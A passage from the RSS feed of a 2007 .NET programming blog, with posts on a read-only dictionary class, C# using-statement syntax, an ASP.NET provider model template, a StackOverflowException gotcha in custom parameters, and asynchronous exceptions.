ICollection&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.Remove(KeyValuePair&lt;TKey, TValue&gt; item)<br />    {<br />        ThrowNotSupportedException();<br />        return false;<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns an enumerator that iterates through the collection.<br />    /// &lt;/summary&gt;<br />    /// &lt;returns&gt;<br />    /// A IEnumerator that can be used to iterate through the collection.<br />    /// &lt;/returns&gt;<br />    IEnumerator&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;<br />        IEnumerable&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;.GetEnumerator()<br />    {<br />        IEnumerable&lt;KeyValuePair&lt;TKey, TValue&gt;&gt; enumerator = this.source;<br /><br />        return enumerator.GetEnumerator();<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// Returns an enumerator that iterates through a collection.<br />    /// &lt;/summary&gt;<br />    /// &lt;returns&gt;<br />    /// An IEnumerator that can be used to iterate through the collection.<br />    /// &lt;/returns&gt;<br />    IEnumerator IEnumerable.GetEnumerator()<br />    {<br />        return this.source.GetEnumerator();<br />    }<br /><br />    /// &lt;summary&gt;<br />    /// For a description of this member, see &lt;see cref=&quot;ICollection.CopyTo&quot;/&gt;. <br />    /// &lt;/summary&gt;<br />    /// &lt;param name=&quot;array&quot;&gt;<br />    /// The one-dimensional Array that is the destination of the elements copied from <br />    /// ICollection. The Array must have zero-based indexing.<br />    /// &lt;/param&gt;<br />    /// &lt;param name=&quot;index&quot;&gt;<br />    /// The zero-based index in Array at which copying begins.<br />    /// &lt;/param&gt;<br />    void ICollection.CopyTo(Array array, int index)<br />    {<br />        ICollection collection = <br />            new List&lt;KeyValuePair&lt;TKey, TValue&gt;&gt;(this.source);<br /><br />        collection.CopyTo(array, index);<br />    }<br /><br />    private static void ThrowNotSupportedException()<br />    {<br />        throw new NotSupportedException(&quot;This Dictionary is read-only&quot;);<br />    }<br />}<br /><br />internal sealed class ReadOnlyDictionaryDebugView&lt;TKey, TValue&gt;<br />{<br />    private IDictionary&lt;TKey, TValue&gt; dict;<br /><br />    public ReadOnlyDictionaryDebugView(<br />        ReadOnlyDictionary&lt;TKey, TValue&gt; dictionary)<br />    {<br />        if (dictionary == null)<br />        {<br />            throw new ArgumentNullException(&quot;dictionary&quot;);<br />        }<br /><br />        this.dict = dictionary;<br />    }<br /><br />    [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)]<br />    public KeyValuePair&lt;TKey, TValue&gt;[] Items<br />    {<br />        get<br />        {<br />            KeyValuePair&lt;TKey, TValue&gt;[] array =<br />                new KeyValuePair&lt;TKey, TValue&gt;[this.dict.Count];<br />            this.dict.CopyTo(array, 0);<br />            return array;<br />        }<br />    }<br />}<br /></pre></p> ]]></description>
			<guid isPermaLink="false">29@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#</category>
			<pubDate>Thu, 22 Nov 2007 18:55:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Channel 9 video: The Future of Languages</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=28</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=28#comm</comments>
                        <description><![CDATA[ <span>Here&#39;s a link to a very interesting Channel 9 interview with Anders Hejlsberg, Herb Sutter, Erik Meijer, Brian Beckman about Software Composability and the Future of Languages.</span><p>I have to apologize for not being able to blog for such a long time. I&#39;ve been so terribly busy lately. I couldn&rsquo;t find any time to blog. However, I managed to make some time to watch <a rel="external" href="http://channel9.msdn.com/ShowPost.aspx?PostID=273697" target="_blank" title="Software Composability and the Future of Languages with Anders Hejlsberg, Herb Sutter, Erik Meijer and Brian Beckman.">this interesting Channel 9 episode</a> with <a rel="external" href="http://en.wikipedia.org/wiki/Anders_Hejlsberg" target="_blank" title="Wikipedia: Anders Hejlsberg">Anders Hejlsberg</a> , <a rel="external" href="http://blogs.msdn.com/hsutter/" target="_blank" title="Herb Sutter's Blog">Herb Sutter</a>, <a rel="external" href="http://research.microsoft.com/~emeijer/" target="_blank" title="Erik Meijer's Microsoft Homepage">Erik Meijer</a> and <a rel="external" href="http://weblogs.asp.net/brianbec/default.aspx" target="_blank" title="Brian Beckman's Blog">Brian Beckman</a> about Software Composability and the Future of Languages. I had to spread the video out over three days, because of my busy schedule, but it was worth watching :-).</p><p>Have fun watching.</p> ]]></description>
			<guid isPermaLink="false">28@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General</category>
			<pubDate>Wed, 07 Nov 2007 22:35:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>C# using statement – the lazy version</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=27</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=27#comm</comments>
                        <description><![CDATA[ <span>While discussing the C# using statement with a colleague of mine, we discovered that there was a shorter version of the using statement possible.</span><p>Did you know, that you can leave out the definition of the resource type in the using statement? Normally we write our code like this:</p><pre class="cs" language="csharp" customtypes="ResourceType ">using (ResourceType resource = new ResourceType())<br />{<br />    DoSomething();<br />} <br /></pre><p>But we can actually write it like this:</p><pre class="cs" language="csharp" customtypes="ResourceType">using (new ResourceType())<br />{<br />    DoSomething();<br />} <br /></pre><p>This will do the same thing, but the created resource will be inaccessible of course. This syntax is actually defined in The C# Language Specification.</p><blockquote>A using statement of the form 'using (expression) statement' has the same two possible expansions, but in this case ResourceType is implicitly the compile-time type of the expression, and the resource variable is inaccessible in, and invisible to, the embedded statement (<a rel="external" href="http://download.microsoft.com/download/5/e/5/5e58be0a-b02b-41ac-a4a3-7a22286214ff/csharp%20language%20specification%20v1.2.doc" target="_blank" title="C# Language Specification Version 1.2">paragraph 8.13, page 186 of the C# specs v1.2</a>).</blockquote><p>Funny thing however, is that the <a rel="external" href="http://www.ecma-international.org/publications/files/ECMA-ST/Ecma-334.pdf" target="_blank" title="ECMA-334 C# Language Specification">ECMA C# language specification of june 2006</a> lacks this definition. </p><p>All credits go to my colleague on this one btw ;-)</p> ]]></description>
			<guid isPermaLink="false">27@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>C#</category>
			<pubDate>Thu, 21 Jun 2007 22:05:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>ASP.NET Provider Model Template for Visual Studio (download)</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=26</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=26#comm</comments>
                        <description><![CDATA[ This article describes my Visual Studio 2005 / Visual Studio 2008 template for rolling your own custom provider on the ASP.NET 2.0 Provider model. The model is actually not restricted to ASP.NET and this template allows you to create your custom provider for every type of .NET application, including console and forms applications.<p><font color="#ff0000">&lt;UPDATE 2008-10-18&gt;</font><br /> <em>I updated the template. I fixed a few tiny bugs, small design flaws. The template code now also validates well when using <a rel="external" href="http://code.msdn.microsoft.com/sourceanalysis" target="_blank" title="MSDN Code Gallery: Microsoft StyleCop">Microsoft StyleCop</a><a rel="external" href="http://www.microsoft.com/downloads/details.aspx?familyid=3389F7E4-0E55-4A4D-BC74-4AEABB17997B&amp;displaylang=en" target="_blank" title="Download details: Microsoft FxCop 1.36 beta"> </a>and <a rel="external" href="http://www.microsoft.com/downloads/details.aspx?familyid=3389F7E4-0E55-4A4D-BC74-4AEABB17997B&amp;displaylang=en" target="_blank" title="Download details: Microsoft FxCop 1.36 beta">Microsoft FxCop</a>. Scroll down and download the improved download. </em><br /><font color="#ff0000">&lt;/UPDATE&gt;</font></p><p>ASP.NET 2.0 uses a design pattern called the Provider pattern. This pattern is used throughout the whole ASP.NET architecture. Implementations based on this new pattern are for instance membership, roles, site map, session state, profile, web event, web parts and more. The official ASP.NET 2.0 Provider Model website describes the model as follows:</p><blockquote>A provider is a software module that provides a uniform interface between a service and a data source. Providers abstract physical storage media, in much the same way that device drivers abstract physical hardware devices. [<a rel="external" href="http://msdn2.microsoft.com/en-us/library/aa479030.aspx" target="_blank" title="MSDN Library - ASP.NET 2.0 Provider Model: Introduction to the Provider Model">-&gt;</a>] </blockquote><p>Basically the model uses a static class with a certain interface that hides the underlying implementation. The concrete implementation used, is registered in the application's configuration file. If you are new to the Provider Model, check the <a rel="external" href="http://msdn2.microsoft.com/en-us/asp.net/aa336558.aspx" target="_blank" title="MSDN - Provider Toolkit">MSDN Provider Toolkit site</a>.<br /><br />To use the Custom Provider Template, download the zip file below and save it to your local &quot;<em>%USERPROFILE%\My Documents\Visual Studio {Version}\Templates\ItemTemplates</em>&quot; directory (for instance, with Visual Studio 2005, on my computer the path is &quot;<em>C:\Documents and Settings\Steven\My Documents\Visual Studio 2005\Templates\ItemTemplates</em>&quot;).</p>  <p style="font-size: large"><strong>download the file: </strong><a rel="external" href="/blogs/steven/images/providertemplate.zip" title="Visual Studio 2005 custom provider template" class="download">ProviderTemplate.zip</a></p><p>After saving the file you can directly use the template. No need to close Visual Studio or even unpacking the file. Best is to use this template within a C# Class Library if possible, but the template will work just fine within a web application project and even a console application. In the Solution Explorer, right click on the project name and choose Add | New Item... You will be prompted with the &quot;Add New Item&quot; dialog box, shown below.</p><p style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/add_new_item_-_custom_provider.jpg" style="border:0px solid" title="Add New Item Wizzard" alt="Add New Item Wizzard" class="pivot-image" /></p>
<p>You can scroll down and select &quot;Custom Provider&quot; in the &quot;My Templates&quot; selection. Next choose an appropriate file name. Choosing a good name is important, because the class names (and XML comments) are based on the name you select. Choose a concept name that describes your provider model. For instance, when you want to create a generic interface for obtaining weather forecasts, name it WeatherForecast (but don&rsquo;t postfix it with 'Provider').<br /><br />After selecting the Add button, five classes in five different files are generated for you. They are <span class="type">XXX, XXXProviderBase</span>, <span class="type">SqlXXXProvider</span>, <span class="type">XXXProviderCollection</span> and <span class="type">XXXSection</span> (where XXX is the concept name of your provider, of course ;-)). The generated code will contain <span style="color: green" class="code">TODO</span> comment tags, so you know exactly where to add your custom functionality.<br /><br />The <span class="type">XXXProviderBase</span> functions as base class for all concrete provider implementations. A provider for the desired concept that is created must inherit from <span class="type">XXXProviderBase</span>. You will have to define some abstract or virtual methods that concrete implementations can implement or overwrite. For the <span class="type">WeatherForecastProviderBase</span>, there could be an abstract <span class="code">GetForecast()</span> method. Optionally you will need to write some logic to extract some values from the configuration that is common to all concrete implementations. This must be done in the <span class="code">Initialize</span> method.<br /><br />The <span class="type">XXX</span> is the fa&ccedil;ade that consumers of your provider will use. It is a static class that is responsible for creating concrete providers based on the definitions in the configuration file. The class will usually contain the same methods as the <span class="type">XXXProviderBase</span> and will delegate those calls to the underlying provider implementation. Implementing this is usually very basic. An example is given in the code generated by the template.<br /><br />The <span class="type">SqlXXXProvider</span> is a concrete example of a provider, but it can be removed if you don&rsquo;t intend to implement a concrete provider that communicates with a SQL Server database. As an example how to load values from the configuration file, this provider collects a connection string from config and loads it into the <span class="code">ConnectionString</span> property.<br /><br />The two remaining classes <span class="type">XXXProviderCollection</span> and <span class="type">XXXSection</span> are needed by the provider model to generate providers and values from the configuration file. These files can be extended, but I normally leave them as they are.<br /><br />The template generates example XML that you can copy-paste to your configuration file. For the WeatherForecast provider, the XML looks as follows:</p><pre class="cs" language="notset"><div style="color: #a31515"><span style="color: blue">&lt;</span>configSections<span style="color: blue">&gt;</span><br />  <span style="color: blue">&lt;</span>section <span style="color: red">name</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">WeatherForecast</span><span style="color: black">&quot;</span><br />    type<span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">Providers.WeatherForecastSection, Providers</span><span style="color: black">&quot;</span><br />    <span style="color: red">allowDefinition</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">MachineToApplication</span><span style="color: black">&quot;</span> <span style="color: blue">/&gt;</span><br /><span style="color: blue">&lt;/</span>configSections<span style="color: blue">&gt;</span><br /><span style="color: blue">&lt;</span>WeatherForecast <span style="color: red">defaultProvider</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">SqlWeatherForecastProvider</span><span style="color: black">&quot;</span><span style="color: blue">&gt;</span><br />  <span style="color: blue">&lt;</span>providers<span style="color: blue">&gt;</span><br />    <span style="color: blue">&lt;</span>add<br />      <span style="color: red">name</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">SqlWeatherForecastProvider</span><span style="color: black">&quot;</span><br />      <span style="color: red">type</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">Providers.SqlWeatherForecastProvider, Providers</span><span style="color: black">&quot;</span><br />      <span style="color: red">connectionStringName</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">LocalSqlServer</span><span style="color: black">&quot;</span><br />      <span style="color: red">description</span><span style="color: blue">=</span><span style="color: black">&quot;</span><span style="color: blue">SQL Weather provider.</span><span style="color: black">&quot;</span> <span style="color: blue">/&gt;</span><br />  <span style="color: blue">&lt;/</span>providers<span style="color: blue">&gt;</span><br /><span style="color: blue">&lt;/</span>WeatherForecast<span style="color: blue">&gt;</span></div></pre><p>Within the <span style="color: blue" class="code">&lt;<span style="color: #a31515">WeatherForecast</span>&gt;</span> section, multiple concrete providers can be defined. What I like about the provider model is that it is flexible, extendable and very easy to use. You can deploy the assembly with your provider model and include a few concrete implementations, like a <span class="type">SqlXXXProvider</span> as generated or an <span class="type">XmlXXXProvider</span>, and optionally some controls or components that use your provider model. Someone else can then use your provider model and one of your concrete providers, or decide to plug in his own implementation. This basically comes down to creating a class that inherits from <span class="type">XXXProviderBase</span> and registering it in the <span style="color: blue" class="code">&lt;<span style="color: #a31515">providers</span>&gt;</span> section of the configuration file, as shown in the above XML snippet.</p><p><font color="#ff0000">&lt;UPDATE 2009-05-21&gt;</font><br />Note that the template creates a dependency on the System.Web assembly. The reason this happens is because the static XXX fa&ccedil;ade uses the <span class="code">System.Web.Configuration.</span><span class="type">ProvidersHelper</span> to instantiate new providers from configuration. This normally isn't such a problem, even if your provider isn't ASP.NET specific, but I can think of two reasons not to want this. The first is performance. Loading System.Web isn't free. I expressed the other reason why not to use the ProvidersHelper <a rel="external" href="http://connect.microsoft.com/VisualStudio/feedback/ViewFeedback.aspx?FeedbackID=411215" title="System.Web.Configuration.ProvidersHelper.InstantiateProvider method does throws ConfigurationErrorsException without wrapping the inner exception">here</a> on the Microsoft feedback site. You can replace the call to <span class="type">ProvidersHelper</span><span class="code">.InstantiateProviders</span> from within the XXX fa&ccedil;ade to your own implementation and look it up with Reflector. A basically did the same in <a rel="external" href="http://logging.codeplex.com" title="CuttingEdge.Logging - CuttingEdge.Logging is a library that helps programmers to output log statements to a variety of output targets in .NET applications.">Cuttingedge.Logging</a>, a logging framework based on this provider template. Look at <a rel="external" href="http://logging.codeplex.com/SourceControl/changeset/view/10578#174270" title="Logger class - CuttingEdge.Logging">the implementation of the Logger class</a> to see how I did this.<font color="#ff0000"><br />&lt;/UPDATE&gt;</font></p><p>The provider model is a very useful model and this template can give you a kick-start when rolling your own.<br /><br />Happy coding!</p> ]]></description>
			<guid isPermaLink="false">26@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, ASP.NET, C#, Visual Studio</category>
			<pubDate>Sat, 31 Mar 2007 16:16:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Converting hex to int</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=25</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=25#comm</comments>
                        <description><![CDATA[ The easiest way to convert a hexadecimal string to an integer is using <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.convert.aspx" target="_blank" title="MSDN Library - Convert Class (System)">System.Convert</a>.<pre class="cs" language="csharp" customtypes="Convert">int x = Convert.ToInt32(&quot;0x7f&quot;, 16);</pre> ]]></description>
			<guid isPermaLink="false">25@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>.NET General, C#</category>
			<pubDate>Fri, 09 Mar 2007 12:20:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>The constructor conflict</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=24</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=24#comm</comments>
                        <description><![CDATA[ Sometimes I'm wondering strange things. For instance, this morning I was wondering if a static constructor of a class can create an instance of itself. It seemed to me this would be a conflicting requirement, because a classes constructor will only run after it's static constructor has run.<p>A little test proves that it is actually completely valid.</p><pre class="cs" language="csharp" customtypes="A">class A<br />{<br />    static int x;<br /><br />    static A()<br />    {<br />        // Create an instance of A<br />        A a = new A();<br /><br />        a.X = 3;<br />    }<br /><br />    public A() { }<br /><br />    public int X<br />    {<br />        get { return x; }<br />        set { x = value; }<br />    }<br />}</pre><p>This code snippet compiles and runs fine. So actually, a non-static constructor of a class can run during and after the execution of the static constructor.</p> ]]></description>
			<guid isPermaLink="false">24@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>C#</category>
			<pubDate>Fri, 09 Mar 2007 10:33:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Book: SQL Server Query Performance Tuning Distilled</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=23</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=23#comm</comments>
                        <description><![CDATA[ Last two months I have been reading <a rel="external" href="http://www.apress.com/book/bookDisplay.html?bID=371" target="_blank" title="SQL Server Query Performance Tuning Distilled, Second Edition">SQL Server Query Performance Tuning Distilled</a> (Second Edition) by <a rel="external" href="http://groups.msn.com/SajalDam" target="_blank" title="Sajal Dam @ MSN Groups">Sajal Dam</a>.<p>This book covers SQL Server 2000 but I believe it is still valid for 99.9% for SQL Server 2005. It gave me lots of insight in query tuning and Dam shows lots of useful scripts that monitor your databases, like checking for and defragging fragmented tables and indexes.<br /><br />From a developers perspective I believe this book is extremely valuable. It helped me out already last month with some bad performing queries and I know it will continue to help me in the future. This book is a must have for every data-driven application developer!</p><p align="center" style="text-align:center;"><img src="http://www.cuttingedge.it/blogs/steven/images/sql_server_query_performance_tuning.jpg" style="border:0px solid" title="Cover of SQL Server Query Performance Tuning Distilled by Sajal Dam" alt="Cover of SQL Server Query Performance Tuning Distilled by Sajal Dam" class="pivot-image" /></p> ]]></description>
			<guid isPermaLink="false">23@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>Books, Databases</category>
			<pubDate>Thu, 08 Mar 2007 22:39:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Custom Parameter Gotcha</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=22</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=22#comm</comments>
                        <description><![CDATA[ This article describes a little gotcha that might emerge when writing a custom parameter that derives from System.Web.UI.WebControls.Parameter.A couple of months ago I was building a custom control <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.web.ui.webcontrols.parameter.aspx" target="_blank" title="MSDN Library - Parameter Class">Parameter</a> when I came across a little gotcha. The custom parameter I was building seemed to trigger a stack overflow. After some research I found out what was causing the <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.stackoverflowexception.aspx" target="_blank" title="MSDN Library - StackOverflowException Class">StackOverflowException</a>. It took some time for me to find the time to write about it, but I can finally share my conclusions with you.<br /><br />There has been written a lot about the ASP.NET 2.0 Control Parameters including articles from <a rel="external" href="http://weblogs.asp.net/scottgu/archive/2006/01/23/436276.aspx" target="_blank" title="ScottGu's Blog - Creating Custom Parameter Types for DataSource Controls in ASP.NET 2.0">Scott Guthrie</a>, <a rel="external" href="http://fredrik.nsquared2.com/viewpost.aspx?PostID=355" target="_blank" title=" Fredrik Norm&eacute;n's Blog - Create your own Parameter to the data-source control's parameters collection">Fredrik Norm&eacute;n</a> and <a rel="external" href="http://www.leftslipper.com/ShowFaq.aspx?FaqId=11" target="_blank" title="Eilon Lipton - Custom parameters for data sources">Eilon Lipton</a>. Despite the attention building custom controls had in weblogs, nobody seemed to notice the little gotcha that you should be aware off, and even the MSDN documentation lacks a warning.<br /><br /><a rel="external" href="http://fredrik.nsquared2.com/" target="_blank" title=" Fredrik Norm&eacute;n's Blog">Fredrik Norm&eacute;n</a> shows in <a rel="external" href="http://fredrik.nsquared2.com/viewpost.aspx?PostID=355" target="_blank" title=" Fredrik Norm&eacute;n's Blog - Create your own Parameter to the data-source control's parameters collection">his blog</a> how easy it is to write your own parameter. It basically comes down to overriding two methods, namely <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.web.ui.webcontrols.parameter.clone.aspx" target="_blank" title="MSDN Library - Parameter.Clone Method">Clone</a> and <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.web.ui.webcontrols.parameter.evaluate.aspx" target="_blank" title="MSDN Library - Parameter.Evaluate Method">Evaluate</a>. The simple custom parameter Fredrik build looks like this (I have made a few minor changes to his code):<br /><pre class="cs" language="csharp" customtypes="MyParameter Parameter TypeCode HttpContext Control">using System;<br />using System.Collections.Generic;<br />using System.Text;<br />using System.Web.UI.WebControls;<br /><br />public class MyParameter : Parameter<br />{<br />    public MyParameter(string name, object value)<br />        : base(name)<br />    {<br />        this.MyProperty = value;<br />    }<br /><br />    public MyParameter(string name, TypeCode type,<br />        object value) : base(name, type)<br />    {<br />        this.MyProperty = value;<br />    }<br /><br />    protected MyParameter(MyParameter original)<br />        : base(original)<br />    {<br />        this.MyProperty = original.MyProperty;<br />    }<br /><br />    protected override object Evaluate(<br />        HttpContext context, Control control)<br />    {<br />        return this.MyProperty;<br />    }<br /><br />    protected override Parameter Clone()<br />    {<br />        return new MyParameter(this);<br />    }<br /><br />    public object MyProperty<br />    {<br />        get { return base.ViewState[&quot;MyProperty&quot;]; }<br />        set<br />        {<br />            if (this.MyProperty != value)<br />            {<br />                base.ViewState[&quot;MyProperty&quot;] = value;<br />                base.OnParameterChanged();<br />            }<br />        }<br />    }<br />}<br /></pre> The above code snippet can be used as template when creating your own parameter. It looks rather easy, however there is a caveat that lies within the object returned from the <span class="code">Evaluate</span> method. What you will find out quick enough is that returned objects should implement the <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.runtime.serialization.iserializable.aspx" target="_blank" title="MSDN Library - ISerializable Interface">ISerializable</a> interface or should be marked with the <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.serializableattribute.aspx" target="_blank" title="MSDN Library - SerializableAttribute Class">SerializableAttribute</a>. The runtime throws a decent exception, which message tells you exactly you returned an object that can&rsquo;t be serialized. But another -not so obvious- detail is that an object returned by the <span class="code">Evaluate</span> method must be equatable. This means you must return an object with an overridden <span class="code">Equals</span> method (like all build-in value types do) or -when overriding <span class="code">Equals</span> is not an option- you must make sure the object reference doesn't change on each call to <span class="code">Evaluate</span>. When you fail to do this you could cause a <span class="type">StackOverflowException</span> that is actually pretty hard to trace back to your custom parameter. In my case Cassini, the build in web server for Visual Studio, just crashed.<br /><br />So what is going on here? When we use the <a rel="external" href="http://www.aisto.com/roeder/dotnet/" title="Lutz Roeder's Reflector for .NET">Reflector</a> tool to peek inside the <span class="type">Parameter</span> class we can understand what's happening. The code below shows the <span class="type">Parameter</span>'s internal <span class="code">UpdateValue</span> method.<br /><pre class="cs" language="csharp" customtypes="Parameter ICloneable IStateManager HttpContext Control">namespace System.Web.UI.WebControls<br />{<br />    public class Parameter : ICloneable, <br />        IStateManager<br />    {<br />        [...]<br />        <br />        internal void UpdateValue(<br />            HttpContext context, Control control)<br />        {<br />            object p =<br />                this.ViewState[&quot;ParameterValue&quot;];<br />            <br />            object e =<br />                this.Evaluate(context, control);<br /><br />            this.ViewState[&quot;ParameterValue&quot;] = e;<br /><br />            if ( ((e == null) &amp;&amp; (p != null)) ||<br />                 ((e != null) &amp;&amp; !e.Equals(p)) )<br />            {<br />                this.OnParameterChanged();<br />            }<br />        }<br />    }<br />}</pre>The parameter's internal <span class="code">UpdateValue</span> method calls it's <span class="code">Evaluate</span> method and compares the returned object with the cached object from the <span class="code">ViewState</span> (if any). When the object has changed the <a rel="external" href="http://msdn2.microsoft.com/en-us/library/system.web.ui.webcontrols.parametercollection.parameterschanged.aspx" target="_blank" title="MSDN Library - ParameterCollection.ParametersChanged Event">ParameterChanged</a> event is triggered. The event will notify the parameter's parent that it's value has changed. To explain what the problem is, let's create a simple parameter that will cause a <span class="type">StackOverflowException</span>:<br /><pre class="cs" language="csharp" customtypes="StackOverflowParameter Parameter HttpContext Control">public class StackOverflowParameter : Parameter<br />{<br />    protected override object Evaluate(<br />        HttpContext context, Control control)<br />    {<br />        return new int[0];<br />    }<br />}</pre>The <span class="type">StackOverflowException</span> is caused by the array type <span class="keyword">int</span><span class="code">[]</span> that has no overridden <span class="code">Equals</span> method. This causes the <span class="code">UpdateValue</span> method to compare the <span class="keyword">int</span><span class="code">[]</span>  objects by their reference (pointer). The <span class="type">StackOverflowParameter</span>'s <span class="code">Evaluate</span> method however, creates a new object on every call. So although the compared arrays may contain the same information (in our case the arrays contain zero integers), they are considered unequal. Therefore it seems like the parameter's value is constantly changing, which causes the data source to keep refreshing itself until infinity and BANG... We've got ourselves a stack overflow.<br /><br />The solution is rather simple: Override the <span class="code">Equals</span> method for the type, or when this is not possible, like with the <span class="keyword">int</span><span class="code">[]</span> array type, return the same object when possible, as shown in the code below.<br /><pre class="cs" language="csharp" customtypes="NoOverflowParameter Parameter HttpContext Control">public class NoOverflowParameter : Parameter<br />{<br />    private int[] _evaluated = null;<br />    <br />    protected override object Evaluate(<br />        HttpContext context, Control control)<br />    {<br />        if (this._evaluated == null)<br />        {<br />            this._evaluated = new int[0];<br />        }<br />        return this._evaluated;<br />    }<br />}</pre>Most of the time however, your custom parameter will probably not create objects itself, but rather fetch data from another source. In that case the page developer must make sure those objects are equatable, but it&rsquo;s even better to let your <span class="code">Evaluate</span> method check this and throw on failure. <br /><br />That's it for now. In a future post I'll show you an implementation of a parameter that fetches data from a field or property in the page.<br /><br />Happy coding! ]]></description>
			<guid isPermaLink="false">22@http://cuttingedge.it/blogs/steven/pivot/</guid>
			<category>ASP.NET, C#</category>
			<pubDate>Sat, 03 Mar 2007 18:25:00 +0200</pubDate>
		</item>
		
		
		
		<item>
			<title>Code Consistency With Asynchronous Exceptions</title>
			<link>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=21</link>
			<comments>http://www.cuttingedge.it/blogs/steven/pivot/entry.php?id=21#comm</comments>
                        <description><![CDATA[ Three weeks ago Joe Duffy published an <a rel="external" href="http://www.bluebytesoftware.com/blog/CommentView,guid,d9ff204a-a8a5-400e-bcbc-dedb90a7d11a.aspx" target="_blank" title="Joe Duffy's Weblog - Monitor.Enter, thread aborts, and orphaned locks">article </a>about 'Monitor.Enter, thread aborts, and orphaned locks' on <a rel="external" href="http://www.bluebytesoftware.com/blog/" target="_blank" title="Joe Duffy's Weblog">his blog</a>. After reading this article and responding to it (see my <a rel="external" href="http://www.bluebytesoftware.com/blog/CommentView,guid,d9ff204a-a8a5-400e-bcbc-dedb90a7d11a.aspx#aba3afe0-9da8-46a1-b8e7-313a164e0fbe" target="_blank" title="Joe Duffy's Weblog - Monitor.Enter, thread aborts, and orphaned locks - Comments">comments</a>), I was pretty much in shock. I came to the conclusion that the C# &lsquo;using&rsquo; statement isn't 100% safe.<p>After pulling myself together, I read <a rel="external" href="http://www.bluebytesoftware.com/blog/PermaLink.aspx?guid=c1898a31-a0aa-40af-871c-7847d98f1641" target="_blank" title="Joe Duffy's Weblog - Atomicity and asynchronous exception failures">Joe's article from March 2005</a> about 'Atomicity and asynchronous exception failures'. I should have read this article before commenting in the first place, because that article explains the problem thoroughly (I'm sorry Joe ;-)).<br /><br />The May 2005 article was initially written as an internal mail to his coworkers, but he decided to share it with the rest of the world. In short the article describes that the framework doesn&rsquo;t guarantee atomic paired operations (read: <span class="keyword">try</span>-<span class="keyword">finally</span> blocks) to be executed. In case of (and only in case of) an asynchronous exception (read: thread abort exceptions) there is a small possibility of inconsistent behavior of code. This only holds for asynchronous exceptions, so this excludes exceptions that are thrown from your code or code you call.<br /><br />The conclusion however, is that the problem isn't as bad as it seems and normally we shouldn't worry about this, because:</p><ul><li>problems only occur with asynchronous exceptions (read thread abort exceptions);</li><li>those asynchronous thread abort exceptions are, however, pretty rare;</li><li>thread aborts are not processed '<em>inside a Constrained Execution Region (CER), finally block, catch block, .cctor, or while running inside unmanaged code</em>' [<a rel="external" href="http://www.bluebytesoftware.com/blog/PermaLink.aspx?guid=c1898a31-a0aa-40af-871c-7847d98f1641" target="_blank" title="Joe Duffy's Weblog - Atomicity and asynchronous exception failures">-&gt;</a>];</li><li>finalizers will clean-up orphan resources eventually;</li><li>most of the time the AppDomain will be unloaded shortly after a thread abort. (Unloading an AppDomain calls all finalizers on objects);</li><li>the '<em>cases are so sporadic and difficult to predict that developers shouldn't proactively seek to fix problems that might not exist</em>' [<a rel="external" href="http://www.bluebytesoftware.com/blog/PermaLink.aspx?guid=c1898a31-a0aa-40af-871c-7847d98f1641" target="_blank" title="Joe Duffy's Weblog - Atomicity and asynchronous exception failures">-&gt;</a>].</li></ul><p>So let's dive into some very dirty details (I love details) to see where this might go wrong. Let's start with a statement we all write on a daily base.</p><pre class="cs" language="csharp" customtypes="Resource">using (Resource r = new Resource())<br />{<br />    r.DoSomeWork();<br />}</pre><p>The code above shows a simple <span class="keyword">using</span> statement. It creates a new resource, we use it, and it will be disposed by a call to it's dispose method. The C# compiler will convert this into a <span class="keyword">try</span>-<span class="keyword">finally</span> statement like shown below:</p><pre class="cs" language="csharp" customtypes="Resource IDisposable">Resource r = new Resource();<br />try<br />{<br />    r.DoSomeWork();<br />}<br />finally<br />{<br />   